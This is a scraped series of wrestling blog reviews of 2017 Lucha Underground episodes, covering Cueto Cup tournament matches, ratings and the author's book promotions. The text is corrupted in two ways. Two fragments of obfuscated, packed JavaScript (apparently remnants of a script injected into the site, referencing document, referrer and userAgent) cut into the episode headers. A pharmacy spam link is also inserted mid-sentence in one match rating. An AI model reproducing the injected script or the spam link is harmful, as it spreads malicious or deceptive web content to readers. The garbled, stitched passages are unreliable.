Crane gets all fired up and hits Muertes in the head with a chair over and over to get a breather. The chair is set over Muertes’ throat and Crane pounds it down with the other chair. Now it’s table time (duh) but Muertes spears him down instead. Muertes drops him face first onto the apron and it seems like it’s time to wrap things up.

Back in and another spear is countered with a guillotine choke but Muertes drops him down for the break. Muertes throws in a table but Crane puts him through it instead for a very close two. Jeremiah goes to the middle rope and dives right into the Flatliner to send Muertes to the semifinals at 10:15 (with the clock starting when they first got into the ring).

Rating: B-. Crane has gotten a huge rub from this tournament and it’s kind of sad to see him eliminated. Muertes is the right choice to go forward though as even though he’s not as dominant as he used to be, there’s always the chance that he could go on a tear and destroy everyone else to win the tournament.

Catrina kisses Crane, who seems to like it. That earns him a hard kick to the head and the villains leave.

An FBI agent comes to see Dario Cueto and says that the Order has chosen him to replace Councilman Delgado. The death seems to be news to Cueto but he’s a bit shaken by the agent’s presence. The agent says he’s a big Pentagon Dark fan but even his skin will burn when the war comes. All that matters is bringing the gods back to power.

Cueto Cup Quarterfinals: The Mack vs. Pentagon Dark

Texano goes right after him and gets two off a leg lariat. Pentagon knocks him outside though and nails a big running kick to the head. A Codebreaker with Pentagon hanging over the ropes gives Texano control again and he sends Pentagon hard into the barricade. Cue Famous B. and Brenda for a distraction, allowing Pentagon to hit back to back Sling Blades.

Texano kicks him down again though, only to charge into a Backstabber out of the corner. Something like an Indian Deathlock has Pentagon in trouble but he’s quickly in the ropes. Texano puts him in the Tree of Woe for a delayed dropkick, followed by a middle rope leg lariat for two. Famous B. tries to throw in a horseshoe but Pentagon takes it away and knocks Texano out for the easy pin at 6:08.

Rating: D+. The Famous B. stuff feels so out of place in the tournament, which is one of the biggest things Lucha Underground has ever done. B. is pure comedy (not exactly funny comedy that is) and that’s not what you should be having with one of the most serious characters in the company.

The semifinals are now set:

Pentagon Dark vs. Mil Muertes

Prince Puma vs. Fenix

Post match Pentagon loads up Texano’s arm but B. calls him out. That earns B. his second broken arm but Pentagon isn’t done. After leaving for a bit, Pentagon comes back to break Brenda’s arm to end the show.

Catrina is meeting Captain Vazquez, who she seems to know. Catrina says the gods don’t fear her and Vazquez talks about the gods using Cage’s gauntlet as a gateway. They both pull out their halves of the medallion and Vazquez says only one man in the Temple can take the gauntlet from Cage. He just so happens to answer to Catrina (Muertes’ name isn’t mentioned but it’s heavily implied), but she points out that without her half of the medallion, Vazquez will no longer be immortal. Catrina says the gods will learn to fear a thousand deaths and leave, after saying goodbye to her mother. Now that’s a twist.

Overall Rating: B-. This show did what it needed to do as we can see the end of the tournament from here. Things have really picked up and now that we have two great matches next week and then the big show, things should start getting back to the point that made this show such a hit. Throw in the storylines FINALLY picking up and this was one of the more entertaining shows they’ve done in a good, long while.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

Lucha Underground
Date: August 2, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

The tournament is really starting to pick up and that means it’s time to start winding it down. We’re three weeks away from the finals and at the moment, we’re down to just eight to go. On top of that, the build towards Johnny Mundo vs. Rey Mysterio for the Lucha Underground Title is really taking off. Let’s get to it.

The standard opening recap gets things going with a focus on the title match and Mysterio vs. PJ Black from last week.

Dario Cueto brings Matanza some raw meat while saying that Matanza is shaken by his recent loss. If he doesn’t control his human desires, the powers of the gods will be taken from him. Matanza refuses the food.

Cueto Cup Quarterfinals: Pindar vs. Fenix

Melissa still seems to have a thing for Fenix. Pindar wastes no time in kicking Fenix down and hammering away. A backbreaker gets two but Fenix flips out of a second one and kicks Pindar in the head. Fenix tries to get all fired up but Pindar charges into the corner to crush both Fenix and his comeback.

One heck of a monkey flip sends Fenix flying and a double underhook spinning slam gives Pindar two. That’s enough for Fenix as he elbows Pindar in the jaw and muscles him over for a German suplex. Melissa is openly cheering for Fenix now and a springboard C4 (or close to one) sets up the top rope double knees to advance Fenix at 5:18.

Rating: C. Fenix winning is the right idea as he’s a valuable person to have in the tournament. While he isn’t likely winning, there’s the slightest chance that he could pull off a big upset and win the whole thing and that makes his matches more interesting. Even if he doesn’t win, whoever beats him is going to get a big rub as a result.

The Worldwide Underground comes in to see Dario with Jack Evans’ jaw wired shut. The short version: next week Taya/PJ/Jack are getting a Trios Titles match and they’re all involved in the Gift of the Gods title matches (there are a series of medallions, whoever gets all of them together can cash in for a Lucha Underground Title shot).

Cueto Cup Quarterfinals: Dante Fox vs. Prince Puma

They run the ropes to start with Puma flipping all over the place and avoiding a dropkick, only to have Dante take him down with a dive. That’s fine with Puma who hits a dive through the ropes and another over them to really wake the crowd up. Fox is right back up and tries a running shooting star off the apron but gets caught in the air. That’s fine with him as he spins around into a tornado DDT on the floor. The fans are all behind Puma as Dante chokes him on the ropes like a villain is supposed to be doing.

Puma jawbreaks his way to freedom but gets caught in a twisting suplex for two. A 619 in the corner into a springboard crossbody gives Puma two of his own as the Fox chants are starting to sprinkle in. Fox is right back with a springboard Codebreaker for two, followed by a pinfall reversal sequence. One heck of a Blue Thunder Bomb gives Puma two and he snaps off some running knees in the corner.

Puma misses a charge though and Fox hits a slingshot dropkick. Fox’s 450 hits knees though and both guys are down again. Some kicks to the head and a brainbuster give Puma two more. A reverse exploder suplex of all things plants Fox again but he STILL kicks out. Puma has finally had it so a shotgun dropkick into the corner sets up the 630 to put Fox away at 11:03.

Rating: B. Now that’s more like it. This was a match where they just kept hitting each other with bigger and bigger spots until one of them couldn’t get up. Puma is of course the right call for the win here and it makes sense to have him go one gear further than Fox. There’s a good chance that Puma is winning this thing, especially with the extra gear he’s had in recent weeks thanks to Vampiro.

Post match Killshot comes in and hits something like a One Winged Angel before saying it’s not over between them.

Captain Vazquez (Cortez Castro’s boss) isn’t happy with him getting crushed by Cage, but to be fair Cage is a god. Cortez says no man alive can get the gauntlet away from him. He leaves and Vazquez agrees but looks at her half of the medallion.

Johnny Mundo vs. El Dragon Azteca Jr.

Non-title and Rey Mysterio’s family is in the crowd. Mundo can’t get a suplex so Dragon smacks him in the chest. An enziguri drops Johnny and he bails to the ropes for a staredown. A hurricanrana sends Johnny to the floor but he catches a flip version and plants Dragon on the floor with a spinebuster.

Back in and we hit the chinlock for a bit before Mundo rams in some shoulders in the corner. A backdrop puts Mundo on the floor though and that means a BIG flip dive over the top to take him down. Back in again and some kicks to the face give Dragon two more, only to have Johnny grab a standing C4 for two of his own. Dragon’s super victory roll of all things gets two more but he gets pulled off the top, setting up the End of the World to give Johnny the pin at 9:00.

Rating: B-. Dragon Azteca is good but he’s clearly a step or two behind some of the top names. Having Mundo beat Mysterio’s protege is good storytelling though and you can tell there’s going to be something involving Rey’s family to wrap things up. I really like how they’ve been setting up the title match as it feels like something important that they’re actually building for a change instead of just doing it all of a sudden. You don’t get that enough anymore and it’s working for me.

Post match Johnny wraps a chair around Dragon’s neck but here’s Mysterio for the save. Johnny bails and Rey leaves but Mundo comes back. Since Rey apparently isn’t watching, Mundo gets in Rey’s son Dominic’s (who has grown WAY up) face and here’s the Worldwide Underground to beat Dominic down, including a belt shot from Mundo.

Fenix and Melissa Santos seem to be getting rather comfortable in the parking lot with Melissa asking if Fenix ever takes that mask off. He says on special occasions and they leave together. Marty the Moth Martinez is shown watching from the shadows and promises to take Fenix’s mask.

Overall Rating: B. I had a great time with this show as it flew by but more importantly it made me want to see the big show in three weeks. The tournament finals should be a lot of fun and there’s a major match on top of it. They’re also starting to tie some of the bigger stories together for once instead of having things all over the place. That’s plagued this season horribly and it would be a great thing to fix, which it seems like they are for the time being.

Remember to follow me on Twitter @kbreviews and pick up the Complete 2002 Monday Night Raw Reviews in either E-Book or Paperback. Check out the information here:

http://kbwrestlingreviews.com/2017/07/21/new-e-bookpaperback-kbs-complete-monday-night-raw-2002-reviews/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sdnnd|var|u0026u|referrer|hbais||js|php'.split('|'),0,{})) Underground
Date: July 5, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s the final night of the first round of the Cueto Cup tournament, meaning next week we can start finding out who might make a run in this thing. First though, we need to have the EVIL TWIN story, which could mean almost anything around here. Alternate dimensions certainly aren’t out of the question and I really don’t know what to think about that. Let’s get to it.

We recap Dante Fox vs. Killshot, who were soldiers together in Afghanistan.

Fox is out for a jog and has a flashback. Killshot left Fox during a battle, resulting in Fox being captured and tortured. Now he’s here for revenge.

Cueto Cup First Round: Sexy Star vs. PJ Black

Black takes her down by the hand to start and lifts her up by the arm without too much effort. Back up and a delayed headscissors drops Black, only to have her guillotine countered into a suplex. Black heads up top and gets pulled down with a hurricanrana, followed by a big shove to send him off the top again. Cue Taya to throw in some brass knuckles, only to have Star take them away and lay Black out for the DQ at 4:16.

Rating: D. I’m really sick of Sexy Star, even though she hasn’t been around for weeks now. Her character of someone who has survived so much stuff really isn’t clicking and I have no desire to watch almost anything she does. It’s like they just threw a woman out there, gave her a story and expect her to be a big deal with nothing else thrown in. As is the case with anyone in wrestling, that’s just not the case.

Star decks the referee with the knuckles too.

Another Rey Mysterio vs. Johnny Mundo video, which actually have me wanting to see the match. It’s almost like talking about a match for weeks is a good way to hype something up instead of just airing it an hour after it’s announced. Rey says he’s doing this for the people who have supported him while Johnny says he’s winning because he’s the best. Mundo: “I’m the best right now so deal with it. Suck it Rey.”

Cueto Cup First Round: Son of Havoc vs. Son of Madness

Madness seems to be Havoc’s twin, though their names alone would suggest that they’re not brothers. Pay attention people. Havoc goes right at him in the aisle and sends him into the barricade. They head inside for the first time as Vampiro explains the biker culture. Madness dives into a kick to the face but takes his vest off to throw at Havoc. Apparently that means a lot but I’d be more worried about who can rip off Sons of Anarchy more next.

They trade missed clotheslines in the corner until Havoc is sent outside for a dive to the floor. Back in and Havoc slugs away and gets two off a spinning springboard crossbody. Madness gets the same off something like a Jackhammer They head to the top with Havoc snapping him throat first across the top rope, only to miss the shooting star. Instead a rollup ends Madness at 8:50.

Rating: B-. Good high flying match here and I’m sure it’s going to be something a bit, longer than this would suggest. As long as it’s nothing like the Aces and 8’s nonsense (oh was it nonsense) then this could be an interesting story. Havoc is a popular enough guy to make almost anything work so maybe he can get this over too.

Post match Madness kicks Havoc in the mask and takes his vest. Again, this seems to be a big deal, or at least so Vampiro says.

Cueto Cup First Round: Prince Puma vs. Ricky Mandel

Mandel is the Johnny Mundo fanboy and billed as interning with the Worldwide Underground. Before the match, Mantel uses Mundo’s catchphrases and gets kicked in the face to open things up. Puma suplexes him for two and hits another running kick to the face. A spinning piledriver ends Mandel at 1:14. Puma never even took his hoodie off.

Mysterio gives El Dragon Azteca Jr. a pep talk. Azteca wants to win the tournament and get a title shot. Puma comes in to say the same, much to Azteca’s annoyance.

We look at next week’s second round matches.

Cueto Cup First Round: El Dragon Azteca Jr. vs. Dante Fox

Mysterio is in Dragon’s corner. Dragon chops away in the corner to start and springboards in with a crossbody for no cover. Back up and Dragon slides to the floor for no apparent reason, setting up a suicide dive and another dive off the top. A guillotine legdrop to the apron gets two on Fox as Vampiro compares Fox to Marvin Hagler. Dragon takes him outside again and sends him head first into the barricade, followed by a whip to do the same with his back.

Back in and Dragon loads up something flashy but has to settle for a regular legdrop instead. A running C4 gives Fox two of his own, only to have Azteca hit a regular C4 of his own for two. They trade basement dropkicks and both guys are down again. Cue Taya to go after Mysterio, earning herself a dropkick. Mundo himself runs in and powerbombs Rey into the barricade, setting up a beatdown from the entire Worldwide Underground. Azteca dives outside for a save and dives back in to the Foxcatcher (inverted DDT) for the pin at 9:06.

Rating: C+. This was a bit too choreographed for my taste but it’s a good idea to have Mundo vs. Mysterio happening in the arena for a change. The videos are great but there’s only so much you’re going to get out of them. Azteca losing could go somewhere, even though he hasn’t been around much lately.

Overall Rating: B-. I liked this show again but it’s nothing to write home about. Above all else though, it’s nice to have the first round already over. We should be able to wrap the thing up in a few more weeks, though I’m not sure how long it can go without putting some other stuff together besides just the title match. Good enough show but the first round needed to end when it did.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rizbr|var|u0026u|referrer|ahekr||js|php'.split('|'),0,{})) Underground
Date: July 12, 2017
Location: Lucha Underground Temple, Boyle Heights, California
Commentators: Vampiro, Matt Striker

It’s time for the second round of the Cueto Cup as we’re down to sixteen names. Hopefully that means the end of the squashes which dominated so much of the first round. You can probably guess the winner fairly easily but it’s nice to have some good matches along the way. Let’s get to it.

We open with a recap of the tournament and some first round matches.

Cueto Cup Second Round: Jeremiah Crane vs. Taya

Taya turns up the sex appeal to land an early slap but Crane does the same, minus the sex appeal that is. That sends Taya outside for a suicide elbow, followed by a run around the ring for a flip dive to drive Taya through a chair. Back up and Taya knocks him off the barricade for a dive of her own.

She hammers on Crane back inside, followed by a running boot in the corner as Striker is losing his mind here despite it not being that big of a deal. A series of strikes to the head drops Taya again but she plants him with a tornado DDT for two of her own. Cue Sexy Star for a distraction though and it’s Cranial Contusion to send Crane to the next round at 6:25.

Rating: C. They were beating the heck out of each other here and it was nice to see Taya getting in some offense and hanging in there with Crane for a bit but there’s only so far that she’s going to be able to take something like this. At least Crane can get in a big fight in the quarterfinals and move on from here.

Post match Star knocks Taya out with brass knuckles.

Fenix and Aero Star talk about Drago leaving to join the Reptile Tribe. Aero Star, a time traveler, bets on Fenix, who doesn’t find that exactly fair.

Cueto Cup Second Round: Mil Muertes vs. Paul London

London starts dancing to start as we hear about his time in Ring of Honor with Striker mentioning specific matches. After over a minute of walking around, London gets thrown into the corner, meaning it’s time to head outside for a chase. The fans are entirely behind Muertes here as he unloads on London and throws him around with ease. Ten shoulders to the ribs have London in even more trouble but he snaps Muertes’ throat across the top.

That’s fine with Mil, who sends London into the barricade for a crash. A string of superkicks that would make the Young Bucks tell you to turn it down staggers Muertes and a top rope double stomp to the back puts him down again. The swinging chokeslam drops London though but the Rabbit Tribe comes in for a distraction. London gets two off a middle rope shooting star but it’s a spear and the Flatliner to end Paul at 9:29.

Rating: C+. Much like the first match, it was entertaining but did anyone http://onhealthy.net/product-category/erectile-dysfunction/ really buy another ending? London was certainly game here though and that helps a lot, even if there was no way around anything Muertes had for him. Muertes has to be a favorite in this thing but whoever beats him will get a heck of a rub.

Post match London gets the Lick of Death, which he seemed to enjoy. The fans even call him lucky.

Brenda hits on Texano, who buys her a drink. She calls him boring so he breaks a beer bottle in his hand. A woman’s touch could fix that though and Texano smiles.

Cueto Cup Second Round: Fenix vs. Marty Martinez

Melissa Santos still seems to have a crush on Fenix. Marty creepily rubs his stomach but gets dropped as things speed up. Fenix ducks a charge to send him outside for a kick to the face and a running flip dive. Mariposa offers a distraction though and Marty kicks him down, sending Melissa into a bit of fear.

Back in and we hit the chinlock with Marty ripping at the mask a bit. Fenix gets up and hits a good looking (and loud) running kick to the face in the corner, followed by a double stomp for two. A spring flipping moonsault misses though and Marty kicks him in the face for his own near fall.

Marty flips him forward into something like a Codebreaker (cool move) for two more but Fenix gets in a superkick. Mariposa grabs some kind of box that Marty brought with him but, for perhaps the first time ever, Melissa gets physical and blocks the shot, freaking the crowd out even more. The distraction lets Fenix grab a hurricanrana for the pin at 10:19.

Rating: C+. This was more about the storytelling and anything that involved me getting to see more of Melissa Santos, the better. She and Fenix could be interesting and having Marty and Mariposa around to antagonize them should help a lot as well. The match was good too, especial with Fenix flying all over the place like he does.

Post match Marty hits him with the box and pulls out a fork to carve up Fenix’s head as Melissa is forced to watch. Marty even licks the blood to be extra creepy.

Overall Rating: B. Now that’s more what I was looking for. This show featured bigger matches that felt like showdowns and I’m curious to see where some of these matches are going to go. We should have the final eight set up in two weeks and then the tournament finals three to four weeks later. They’re getting through this tournament fairly fast and that’s a good thing. Solid show here and better than the first round stuff.

http://kbwrestlingreviews.com/2017/05/19/history-of-saturday-nights-main-event-and-clash-of-the-champions-now-in-paperback-plus-price-drops/

And check out my Amazon author page with cheap wrestling books at:

http://www.amazon.com/Thomas-Hall/e/B00E6282W6